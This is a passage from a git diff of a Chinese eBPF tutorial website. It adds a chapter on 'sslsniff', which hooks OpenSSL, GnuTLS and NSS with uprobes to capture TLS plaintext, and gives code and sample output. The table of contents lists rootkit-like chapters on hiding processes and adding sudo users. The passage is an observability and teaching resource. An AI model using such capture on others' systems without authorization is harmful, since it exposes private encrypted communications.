请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/index.html b/index.html index bddc43b..8225e89 100644 --- a/index.html +++ b/index.html @@ -83,7 +83,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial diff --git a/print.html b/print.html index 206b81f..dab17b6 100644 --- a/print.html +++ b/print.html @@ -84,7 +84,7 @@ - eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 sockops 加速网络请求转发24. 使用 eBPF 隐藏进程或文件信息25. 使用 bpf_send_signal 发送信号终止进程26. 使用 eBPF 添加 sudo 用户27. 使用 eBPF 替换任意程序读取或写入的文本28. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序29. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial30. BPF Features by Linux Kernel Version31. Kernel Configuration for BPF Features32. bcc Reference Guide33. Special Filtering34. bcc Tutorial35. bcc Python Developer Tutorial + eBPF 实践教程:基于 libbpf 和 CO-RE1. 介绍 eBPF 的基本概念、常见的开发工具2. eBPF Hello World,基本框架和开发流程3. 使用 kprobe 监测捕获 unlink 系统调用4. 使用 fentry 监测捕获 unlink 系统调用5. 捕获进程打开文件的系统调用集合,使用全局变量过滤进程 pid6. 使用 uprobe 捕获 bash 的 readline 函数调用7. 捕获进程发送信号的系统调用集合,使用 hash map 保存状态8. 捕获进程执行/退出时间,通过 perf event array 向用户态打印输出9. 使用 exitsnoop 监控进程退出事件,使用 ring buffer 向用户态打印输出10. 一个 Linux 内核 BPF 程序,通过柱状图来总结调度程序运行队列延迟,显示任务等待运行在 CPU 上的时间长度11. 使用 hardirqs 或 softirqs 捕获中断事件12. 使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用13. 使用 libbpf-bootstrap 开发程序统计 TCP 连接延时14. 使用 libbpf-bootstrap 记录 TCP 连接状态与 TCP RTT15. 使用 USDT 捕获用户态 Java GC 事件耗时16. 编写 eBPF 程序 Memleak 监控内存泄漏17. 编写 eBPF 程序 Biopattern 统计随机/顺序磁盘 I/O18. 更多的参考资料19. 使用 LSM 进行安全检测防御20. 使用 eBPF 进行 tc 流量控制eBPF 高级特性与进阶主题21. 在 Android 上使用 eBPF 程序22. 使用 eBPF 追踪 HTTP 请求或其他七层协议23. 使用 uprobe 捕获多种库的 SSL/TLS 明文数据24. 使用 sockops 加速网络请求转发25. 使用 eBPF 隐藏进程或文件信息26. 使用 bpf_send_signal 发送信号终止进程27. 使用 eBPF 添加 sudo 用户28. 使用 eBPF 替换任意程序读取或写入的文本29. BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序30. 使用 eBPF 用户态捕获多种库的 SSL/TLS 明文数据bcc tutorial31. BPF Features by Linux Kernel Version32. Kernel Configuration for BPF Features33. bcc Reference Guide34. Special Filtering35. bcc Tutorial36. bcc Python Developer Tutorial @@ -4452,6 +4452,431 @@ Error: BpfError("load and attach ebpf program failed") http TODO +eBPF 实践教程:使用 uprobe 捕获多种库的 SSL/TLS 明文数据 +随着TLS在现代网络环境中的广泛应用,跟踪微服务RPC消息已经变得愈加棘手。传统的流量嗅探技术常常受限于只能获取到加密后的数据,导致无法真正观察到通信的原始内容。这种限制为系统的调试和分析带来了不小的障碍。 +但现在,我们有了新的解决方案。使用 eBPF 技术,通过其能力在用户空间进行探测,提供了一种方法重新获得明文数据,使得我们可以直观地查看加密前的通信内容。然而,每个应用可能使用不同的库,每个库都有多个版本,这种多样性给跟踪带来了复杂性。 +在本教程中,我们将带您了解一种跨多种用户态 SSL/TLS 库的 eBPF 追踪技术,它不仅可以同时跟踪 GnuTLS 和 OpenSSL 等用户态库,而且相比以往,大大降低了对新版本库的维护工作。 +背景知识 +在深入本教程的主题之前,我们需要理解一些核心概念,这些概念将为我们后面的讨论提供基础。 +SSL 和 TLS +SSL (Secure Sockets Layer): 由 Netscape 在 1990 年代早期开发,为网络上的两台机器之间提供数据加密传输。然而,由于某些已知的安全问题,SSL的使用已被其后继者TLS所替代。 +TLS (Transport Layer Security): 是 SSL 的继任者,旨在提供更强大和更安全的数据加密方式。TLS 工作通过一个握手过程,在这个过程中,客户端和服务器之间会选择一个加密算法和相应的密钥。一旦握手完成,数据传输开始,所有数据都使用选择的算法和密钥加密。 +TLS 的工作原理 +Transport Layer Security (TLS) 是一个密码学协议,旨在为计算机网络上的通信提供安全性。它主要目标是通过密码学,例如证书的使用,为两个或更多通信的计算机应用程序提供安全性,包括隐私(机密性)、完整性和真实性。TLS 由两个子层组成:TLS 记录协议和TLS 握手协议。 +握手过程 +当客户端与启用了TLS的服务器连接并请求建立安全连接时,握手过程开始。握手允许客户端和服务器通过不对称密码来建立连接的安全性参数,完整流程如下: + +初始握手:客户端连接到启用了TLS的服务器,请求安全连接,并提供它支持的密码套件列表(加密算法和哈希函数)。 +选择密码套件:从提供的列表中,服务器选择它也支持的密码套件和哈希函数,并通知客户端已做出的决定。 +提供数字证书:通常,服务器接下来会提供形式为数字证书的身份验证。此证书包含服务器名称、信任的证书授权机构(为证书的真实性提供担保)以及服务器的公共加密密钥。 +验证证书:客户端在继续之前确认证书的有效性。 +生成会话密钥:为了生成用于安全连接的会话密钥,客户端有以下两种方法: + +使用服务器的公钥加密一个随机数(PreMasterSecret)并将结果发送到服务器(只有服务器才能使用其私钥解密);双方然后使用该随机数生成一个独特的会话密钥,用于会话期间的数据加密和解密。 +使用 Diffie-Hellman 密钥交换(或其变体椭圆曲线DH)来安全地生成一个随机且独特的会话密钥,用于加密和解密,该密钥具有前向保密的额外属性:即使在未来公开了服务器的私钥,也不能用它来解密当前的会话,即使第三方拦截并记录了会话。 + + + +一旦上述步骤成功完成,握手过程便结束,加密的连接开始。此连接使用会话密钥进行加密和解密,直到连接关闭。如果上述任何步骤失败,则TLS握手失败,连接将不会建立。 +OSI模型中的TLS +TLS 和 SSL 不完全适合 OSI 模型或 TCP/IP 模型的任何单一层次。TLS 在“某些可靠的传输协议(例如,TCP)之上运行”,这意味着它位于传输层之上。它为更高的层提供加密,这通常是表示层的功能。但是,使用TLS 的应用程序通常视其为传输层,即使使用TLS的应用程序必须积极控制启动 TLS 握手和交换的认证证书的处理。 +eBPF 和 uprobe +eBPF (Extended Berkeley Packet Filter): 是一种内核技术,允许用户在内核空间中运行预定义的程序,不需要修改内核源代码或重新加载模块。它创建了一个桥梁,使得用户空间和内核空间可以交互,从而为系统监控、性能分析和网络流量分析等任务提供了无前例的能力。 +uprobes 是eBPF的一个重要特性,允许我们在用户空间应用程序中动态地插入探测点,特别适用于跟踪SSL/TLS库中的函数调用。 +用户态库 +SSL/TLS协议的实现主要依赖于用户态库。以下是一些常见的库: + +OpenSSL: 一个开源的、功能齐全的加密库,广泛应用于许多开源和商业项目中。 +BoringSSL: 是Google维护的OpenSSL的一个分支,重点是简化和优化,适用于Google的需求。 +GnuTLS: 是GNU项目的一部分,提供了SSL,TLS和DTLS协议的实现。与OpenSSL和BoringSSL相比,GnuTLS在API设计、模块结构和许可证上有所不同。 + +OpenSSL API 分析 +OpenSSL 是一个广泛应用的开源库,提供了 SSL 和 TLS 协议的完整实现,并广泛用于各种应用程序中以确保数据传输的安全性。其中,SSL_read() 和 SSL_write() 是两个核心的 API 函数,用于从 TLS/SSL 连接中读取和写入数据。本章节,我们将深入这两个函数,帮助你理解其工作机制。 +1. SSL_read 函数 +当我们想从一个已建立的 SSL 连接中读取数据时,可以使用 SSL_read 或 SSL_read_ex 函数。函数原型如下: +int SSL_read_ex(SSL *ssl, void *buf, size_t num, size_t *readbytes); +int SSL_read(SSL *ssl, void *buf, int num); + +SSL_read 和 SSL_read_ex 试图从指定的 ssl 中读取最多 num 字节的数据到缓冲区 buf 中。成功时,SSL_read_ex 会在 *readbytes 中存储实际读取到的字节数。 +2. SSL_write 函数 +当我们想往一个已建立的 SSL 连接中写入数据时,可以使用 SSL_write 或 SSL_write_ex 函数。 +函数原型: +int SSL_write_ex(SSL *s, const void *buf, size_t num, size_t *written); +int SSL_write(SSL *ssl, const void *buf, int num); + +SSL_write 和 SSL_write_ex 会从缓冲区 buf 中将最多 num 字节的数据写入到指定的 ssl 连接中。成功时,SSL_write_ex 会在 *written 中存储实际写入的字节数。 +eBPF 内核态代码编写 +在我们的例子中,我们使用 eBPF 来 hook ssl_read 和 ssl_write 函数,从而在数据读取或写入 SSL 连接时执行自定义操作。 +数据结构 +首先,我们定义了一个数据结构 probe_SSL_data_t 用于在内核态和用户态之间传输数据: +#define MAX_BUF_SIZE 8192 +#define TASK_COMM_LEN 16 + +struct probe_SSL_data_t { + __u64 timestamp_ns; // 时间戳(纳秒) + __u64 delta_ns; // 函数执行时间 + __u32 pid; // 进程 ID + __u32 tid; // 线程 ID + __u32 uid; // 用户 ID + __u32 len; // 读/写数据的长度 + int buf_filled; // 缓冲区是否填充完整 + int rw; // 读或写(0为读,1为写) + char comm[TASK_COMM_LEN]; // 进程名 + __u8 buf[MAX_BUF_SIZE]; // 数据缓冲区 + int is_handshake; // 是否是握手数据 +}; + +Hook 函数 +我们的目标是 hook 到 SSL_read 和 SSL_write 函数。我们定义了一个函数 SSL_exit 来处理这两个函数的返回值。该函数会根据当前进程和线程的 ID,确定是否需要追踪并收集数据。 +static int SSL_exit(struct pt_regs *ctx, int rw) { + int ret = 0; + u32 zero = 0; + u64 pid_tgid = bpf_get_current_pid_tgid(); + u32 pid = pid_tgid >> 32; + u32 tid = (u32)pid_tgid; + u32 uid = bpf_get_current_uid_gid(); + u64 ts = bpf_ktime_get_ns(); + + if (!trace_allowed(uid, pid)) { + return 0; + } + + /* store arg info for later lookup */ + u64 *bufp = bpf_map_lookup_elem(&bufs, &tid); + if (bufp == 0) + return 0; + + u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); + if (!tsp) + return 0; + u64 delta_ns = ts - *tsp; + + int len = PT_REGS_RC(ctx); + if (len <= 0) // no data + return 0; + + struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); + if (!data) + return 0; + + data->timestamp_ns = ts; + data->delta_ns = delta_ns; + data->pid = pid; + data->tid = tid; + data->uid = uid; + data->len = (u32)len; + data->buf_filled = 0; + data->rw = rw; + data->is_handshake = false; + u32 buf_copy_size = min((size_t)MAX_BUF_SIZE, (size_t)len); + + bpf_get_current_comm(&data->comm, sizeof(data->comm)); + + if (bufp != 0) + ret = bpf_probe_read_user(&data->buf, buf_copy_size, (char *)*bufp); + + bpf_map_delete_elem(&bufs, &tid); + bpf_map_delete_elem(&start_ns, &tid); + + if (!ret) + data->buf_filled = 1; + else + buf_copy_size = 0; + + bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, + EVENT_SIZE(buf_copy_size)); + return 0; +} + +这里的 rw 参数标识是读还是写。0 代表读,1 代表写。 +数据收集流程 + +获取当前进程和线程的 ID,以及当前用户的 ID。 +通过 trace_allowed 判断是否允许追踪该进程。 +获取起始时间,以计算函数的执行时间。 +尝试从 bufs 和 start_ns maps 中查找相关的数据。 +如果成功读取了数据,则创建或查找 probe_SSL_data_t 结构来填充数据。 +将数据从用户空间复制到缓冲区,并确保不超过预定的大小。 +最后,将数据发送到用户空间。 + +注意:我们使用了两个用户返回探针 uretprobe 来分别 hook SSL_read 和 SSL_write 的返回: +SEC("uretprobe/SSL_read") +int BPF_URETPROBE(probe_SSL_read_exit) { + return (SSL_exit(ctx, 0)); // 0 表示读操作 +} + +SEC("uretprobe/SSL_write") +int BPF_URETPROBE(probe_SSL_write_exit) { + return (SSL_exit(ctx, 1)); // 1 表示写操作 +} + +Hook到握手过程 +在 SSL/TLS 中,握手(handshake)是一个特殊的过程,用于在客户端和服务器之间建立安全的连接。为了分析此过程,我们 hook 到了 do_handshake 函数,以跟踪握手的开始和结束。 +进入握手 +我们使用 uprobe 为 do_handshake 设置一个 probe: + +SEC("uprobe/do_handshake") +int BPF_UPROBE(probe_SSL_do_handshake_enter, void *ssl) { + u64 pid_tgid = bpf_get_current_pid_tgid(); + u32 pid = pid_tgid >> 32; + u32 tid = (u32)pid_tgid; + u64 ts = bpf_ktime_get_ns(); + u32 uid = bpf_get_current_uid_gid(); + + if (!trace_allowed(uid, pid)) { + return 0; + } + + /* store arg info for later lookup */ + bpf_map_update_elem(&start_ns, &tid, &ts, BPF_ANY); + return 0; +} + +这段代码的主要功能如下: + +获取当前的 pid, tid, ts 和 uid。 +使用 trace_allowed 检查进程是否被允许追踪。 +将当前时间戳存储在 start_ns 映射中,用于稍后计算握手过程的持续时间。 + +退出握手 +同样,我们为 do_handshake 的返回设置了一个 uretprobe: + +SEC("uretprobe/do_handshake") +int BPF_URETPROBE(probe_SSL_do_handshake_exit) { + u32 zero = 0; + u64 pid_tgid = bpf_get_current_pid_tgid(); + u32 pid = pid_tgid >> 32; + u32 tid = (u32)pid_tgid; + u32 uid = bpf_get_current_uid_gid(); + u64 ts = bpf_ktime_get_ns(); + int ret = 0; + + /* use kernel terminology here for tgid/pid: */ + u32 tgid = pid_tgid >> 32; + + /* store arg info for later lookup */ + if (!trace_allowed(tgid, pid)) { + return 0; + } + + u64 *tsp = bpf_map_lookup_elem(&start_ns, &tid); + if (tsp == 0) + return 0; + + ret = PT_REGS_RC(ctx); + if (ret <= 0) // handshake failed + return 0; + + struct probe_SSL_data_t *data = bpf_map_lookup_elem(&ssl_data, &zero); + if (!data) + return 0; + + data->timestamp_ns = ts; + data->delta_ns = ts - *tsp; + data->pid = pid; + data->tid = tid; + data->uid = uid; + data->len = ret; + data->buf_filled = 0; + data->rw = 2; + data->is_handshake = true; + bpf_get_current_comm(&data->comm, sizeof(data->comm)); + bpf_map_delete_elem(&start_ns, &tid); + + bpf_perf_event_output(ctx, &perf_SSL_events, BPF_F_CURRENT_CPU, data, + EVENT_SIZE(0)); + return 0; +} + +此函数的逻辑如下: + +获取当前的 pid, tid, ts 和 uid。 +使用 trace_allowed 再次检查是否允许追踪。 +查找 start_ns 映射中的时间戳,用于计算握手的持续时间。 +使用 PT_REGS_RC(ctx) 获取 do_handshake 的返回值,判断握手是否成功。 +查找或初始化与当前线程关联的 probe_SSL_data_t 数据结构。 +更新数据结构的字段,包括时间戳、持续时间、进程信息等。 +通过 bpf_perf_event_output 将数据发送到用户态。 + +我们的 eBPF 代码不仅跟踪了 ssl_read 和 ssl_write 的数据传输,还特别关注了 SSL/TLS 的握手过程。这些信息对于深入了解和优化安全连接的性能至关重要。 +通过这些 hook 函数,我们可以获得关于握手成功与否、握手所需的时间以及相关的进程信息的数据。这为我们提供了关于系统 SSL/TLS 行为的深入见解,可以帮助我们在需要时进行更深入的分析和优化。 +用户态辅助代码分析与解读 +在 eBPF 的生态系统中,用户态和内核态代码经常协同工作。内核态代码负责数据的采集,而用户态代码则负责设置、管理和处理这些数据。在本节中,我们将解读上述用户态代码如何配合 eBPF 追踪 SSL/TLS 交互。 +1. 支持的库挂载 +上述代码片段中,根据环境变量 env 的设定,程序可以选择针对三种常见的加密库(OpenSSL、GnuTLS 和 NSS)进行挂载。这意味着我们可以在同一个工具中对多种库的调用进行追踪。 +为了实现这一功能,首先利用 find_library_path 函数确定库的路径。然后,根据库的类型,调用对应的 attach_ 函数来将 eBPF 程序挂载到库函数上。 + if (env.openssl) { + char *openssl_path = find_library_path("libssl.so"); + printf("OpenSSL path: %s\n", openssl_path); + attach_openssl(obj, "/lib/x86_64-linux-gnu/libssl.so.3"); + } + if (env.gnutls) { + char *gnutls_path = find_library_path("libgnutls.so"); + printf("GnuTLS path: %s\n", gnutls_path); + attach_gnutls(obj, gnutls_path); + } + if (env.nss) { + char *nss_path = find_library_path("libnspr4.so"); + printf("NSS path: %s\n", nss_path); + attach_nss(obj, nss_path); + } + +这里主要包含 OpenSSL、GnuTLS 和 NSS 三个库的挂载逻辑。NSS 是为组织设计的一套安全库,支持创建安全的客户端和服务器应用程序。它们最初是由 Netscape 开发的,现在由 Mozilla 维护。其他两个库前面已经介绍过了,这里不再赘述。 +2. 详细挂载逻辑 +具体的 attach 函数如下: +#define __ATTACH_UPROBE(skel, binary_path, sym_name, prog_name, is_retprobe) \ + do { \ + LIBBPF_OPTS(bpf_uprobe_opts, uprobe_opts, .func_name = #sym_name, \ + .retprobe = is_retprobe); \ + skel->links.prog_name = bpf_program__attach_uprobe_opts( \ + skel->progs.prog_name, env.pid, binary_path, 0, &uprobe_opts); \ + } while (false) + +int attach_openssl(struct sslsniff_bpf *skel, const char *lib) { + ATTACH_UPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, SSL_write, probe_SSL_write_exit); + ATTACH_UPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, SSL_read, probe_SSL_read_exit); + + if (env.latency && env.handshake) { + ATTACH_UPROBE_CHECKED(skel, lib, SSL_do_handshake, + probe_SSL_do_handshake_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, SSL_do_handshake, + probe_SSL_do_handshake_exit); + } + + return 0; +} + +int attach_gnutls(struct sslsniff_bpf *skel, const char *lib) { + ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_send, probe_SSL_write_exit); + ATTACH_UPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, gnutls_record_recv, probe_SSL_read_exit); + + return 0; +} + +int attach_nss(struct sslsniff_bpf *skel, const char *lib) { + ATTACH_UPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, PR_Write, probe_SSL_write_exit); + ATTACH_UPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, PR_Send, probe_SSL_write_exit); + ATTACH_UPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, PR_Read, probe_SSL_read_exit); + ATTACH_UPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_rw_enter); + ATTACH_URETPROBE_CHECKED(skel, lib, PR_Recv, probe_SSL_read_exit); + + return 0; +} + +我们进一步观察 attach_ 函数,可以看到它们都使用了 ATTACH_UPROBE_CHECKED 和 ATTACH_URETPROBE_CHECKED 宏来实现具体的挂载逻辑。这两个宏分别用于设置 uprobe(函数入口)和 uretprobe(函数返回)。 +考虑到不同的库有不同的 API 函数名称(例如,OpenSSL 使用 SSL_write,而 GnuTLS 使用 gnutls_record_send),所以我们需要为每个库写一个独立的 attach_ 函数。 +例如,在 attach_openssl 函数中,我们为 SSL_write 和 SSL_read 设置了 probe。如果用户还希望追踪握手的延迟 (env.latency) 和握手过程 (env.handshake),那么我们还会为 SSL_do_handshake 设置 probe。 +在eBPF生态系统中,perf_buffer是一个用于从内核态传输数据到用户态的高效机制。这对于内核态eBPF程序来说是十分有用的,因为它们不能直接与用户态进行交互。使用perf_buffer,我们可以在内核态eBPF程序中收集数据,然后在用户态异步地读取这些数据。我们使用 perf_buffer__poll 函数来读取内核态上报的数据,如下所示: + while (!exiting) { + err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); + if (err < 0 && err != -EINTR) { + warn("error polling perf buffer: %s\n", strerror(-err)); + goto cleanup; + } + err = 0; + } + +最后,在 print_event 函数中,我们将数据打印到标准输出: +// Function to print the event from the perf buffer +void print_event(struct probe_SSL_data_t *event, const char *evt) { + ... + if (buf_size != 0) { + if (env.hexdump) { + // 2 characters for each byte + null terminator + char hex_data[MAX_BUF_SIZE * 2 + 1] = {0}; + buf_to_hex((uint8_t *)buf, buf_size, hex_data); + + printf("\n%s\n", s_mark); + for (size_t i = 0; i < strlen(hex_data); i += 32) { + printf("%.32s\n", hex_data + i); + } + printf("%s\n\n", e_mark); + } else { + printf("\n%s\n%s\n%s\n\n", s_mark, buf, e_mark); + } + } +} + +完整的源代码可以在这里查看:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/30-sslsniff +编译与运行 +要开始使用 sslsniff,首先要进行编译: +make + +完成后,请按照以下步骤操作: +启动 sslsniff +在一个终端中,执行以下命令来启动 sslsniff: +sudo ./sslsniff + +执行 CURL 命令 +在另一个终端中,执行: +curl https://example.com + +正常情况下,你会看到类似以下的输出: + <!doctype html> + <html> + <head> + <title>Example Domain</title> + ... + <body> + <div> + ... + </div> + </body> + </html> + +sslsniff 输出 +当执行 curl 命令后,sslsniff 会显示以下内容: + READ/RECV 0.132786160 curl 47458 1256 + ----- DATA ----- + <!doctype html> + ... + <div> + <h1>Example Domain</h1> + ... + </div> + </body> + </html> + + ----- END DATA ----- + +注意:显示的 HTML 内容可能会因 example.com 页面的不同而有所不同。 +显示延迟和握手过程 +要查看延迟和握手过程,请执行以下命令: +$ sudo ./sslsniff -l --handshake +OpenSSL path: /lib/x86_64-linux-gnu/libssl.so.3 +GnuTLS path: /lib/x86_64-linux-gnu/libgnutls.so.30 +NSS path: /lib/x86_64-linux-gnu/libnspr4.so +FUNC TIME(s) COMM PID LEN LAT(ms) +HANDSHAKE 0.000000000 curl 6460 1 1.384 WRITE/SEND 0.000115400 curl 6460 24 0.014 + +16进制输出 +要以16进制格式显示数据,请执行以下命令: +$ sudo ./sslsniff --hexdump +WRITE/SEND 0.000000000 curl 16104 24 +----- DATA ----- +505249202a20485454502f322e300d0a +0d0a534d0d0a0d0a +----- END DATA ----- + +... + +总结 +eBPF 是一个非常强大的技术,它可以帮助我们深入了解系统的工作原理。本教程是一个简单的示例,展示了如何使用 eBPF 来监控 SSL/TLS 通信。如果您对 eBPF 技术感兴趣,并希望进一步了解和实践,可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 和教程网站 https://eunomia.dev/zh/tutorials/。 +参考资料: + +https://github.com/iovisor/bcc/pull/4706 +https://github.com/openssl/openssl +https://www.openssl.org/docs/man1.1.1/man3/SSL_read.html +https://github.com/iovisor/bcc/blob/master/tools/sslsniff_example.txt +https://en.wikipedia.org/wiki/Transport_Layer_Security + eBPF sockops 示例 利用 eBPF 的 sockops 进行性能优化 网络连接本质上是 socket 